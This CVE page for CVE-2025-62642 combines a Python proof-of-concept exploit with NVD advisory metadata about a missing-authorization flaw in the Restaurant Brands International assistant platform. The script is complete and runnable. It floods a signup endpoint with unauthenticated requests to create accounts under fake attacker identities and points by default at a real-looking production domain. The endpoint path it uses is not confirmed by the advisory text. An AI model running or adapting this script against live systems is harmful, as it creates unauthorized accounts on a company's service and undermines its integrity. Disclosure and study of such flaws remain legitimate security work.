CVE-2025-62642

#!/usr/bin/env python3 """ CVE-2025-62642 PoC - RBI Assistant Platform Unauthenticated Account Creation This PoC demonstrates how an unauthenticated attacker can create a user account on the RBI Assistant Platform via the "Anyone Can Join This Party" signup API. """ import requests import json import random import string def generate_random_user(): """Generate random user data for account creation.""" random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) return { "email": f"attacker_{random_str}@evil.com", "password": "P@ssw0rd123!", "firstName": "Test", "lastName": f"User{random_str}", "phone": "+1555" + ''.join(random.choices(string.digits, k=7)) } def exploit_signup_api(base_url, user_data): """ Exploit the 'Anyone Can Join This Party' signup API. No authentication required - directly create a user account. """ # The vulnerable signup endpoint - no auth required signup_endpoint = f"{base_url}/api/v1/signup/join" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC)" } try: # Send unauthenticated POST request to create account response = requests.post( signup_endpoint, headers=headers, json=user_data, timeout=10 ) if response.status_code in [200, 201]: print(f"[+] Account created successfully!") print(f"[+] Email: {user_data['email']}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): # Target RBI Assistant Platform base URL base_url = "https://assistant.rbi.com" # Example endpoint print("=" * 60) print("CVE-2025-62642 - RBI Assistant Platform PoC") print("Unauthenticated Account Creation via 'Anyone Can Join This Party' API") print("=" * 60) # Generate random user data user_data = generate_random_user() print(f"\n[*] Attempting to create account: {user_data['email']}") # Exploit the vulnerability success = exploit_signup_api(base_url, user_data) if success: print("\n[!] Vulnerability confirmed - account created without authentication!") else: print("\n[*] Attempt complete. The endpoint may have been patched.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-62642", "sourceIdentifier": "[email protected]", "published": "2025-10-17T21:15:36.940", "lastModified": "2025-10-31T18:39:56.833", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "The Restaurant Brands International (RBI) assistant platform through 2025-09-06 has an \"Anyone Can Join This Party\" signup API that does not verify user account creation, allowing a remote unauthenticated attacker to create a user account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rbi:restaurant_brands_international_assistant:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-06", "matchCriteriaId": "706D04A1-2EDB-4713-BA47-EFDC8A86FBA3"}]}]}], "references": [{"url": "https://archive.today/fMYQp", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://bobdahacker.com/blog/rbi-hacked-drive-thrus/", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://web.archive.org/web/20250906134240/https:/bobdahacker.com/blog/rbi-hacked-drive-thrus", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.malwarebytes.com/blog/news/2025/09/popeyes-tim-hortons-burger-king-platforms-have-catastrophic-vulnerabilities-say-hackers", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}, {"url": "https://www.yahoo.com/news/articles/burger-king-hacked-attackers-impressed-124154038.html", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}]}}